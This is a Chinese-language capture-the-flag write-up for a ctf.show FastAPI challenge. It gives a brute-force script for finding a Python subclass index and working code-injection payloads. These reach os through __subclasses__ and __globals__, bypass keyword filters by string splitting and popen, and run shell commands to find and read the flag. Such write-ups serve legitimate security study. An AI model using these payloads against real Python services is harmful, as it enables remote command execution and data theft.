fastapi
- 快速:非常高的性能,与 NodeJS 和 Go 相当
- 快速编码:将功能开发速度提高约 200% 至 300%
- 更少的错误:减少约 40% 的人为错误
- 直观:强大的编辑器支持,自动补全无处不在,调试时间更少
- 简易:旨在易于使用和学习,减少阅读文档的时间。
- 简短:减少代码重复。
- 稳健:获取可用于生产环境的代码,具有自动交互式文档
- 基于标准:基于并完全兼容 API 的开放标准 OpenAPI 和 JSON Schema
发现存在/docs文档,可以与/ccca1ccc进行交互。
由于是python,第一时间考虑的是SSTI模板注入,但是使用网上的payload都是返回空字符串或者报错。
使用
str()
切片显示,发现可以:str([].__class__.__base__.__subclasses__())[1:]
返回Object的所有子类

import requests
url = 'http://0036be1d-d998-420a-bdef-421987f9eb43.chall.ctf.show/cccalccc'
for i in range(500):
data = {'q': 'str([].__class__.__base__.__subclasses__()[' + str(i) + '])[1:]'}
r = requests.post(url, data)
if r.text.find("warnings.catch_warnings") != -1:
print(i)
print(r.text)

payload:
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
发现过滤,fuzz后发现system和import被过滤,import可以用字符串拼接绕过,system换成popen:
str([].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['po'+'pen']('ls').read())[1:]
啥也没有,利用grep查找一下关键字:
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('find /app | xargs grep flag').read()
读取flag:
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('cat /mnt/f1a9').read()
Last modified 8mo ago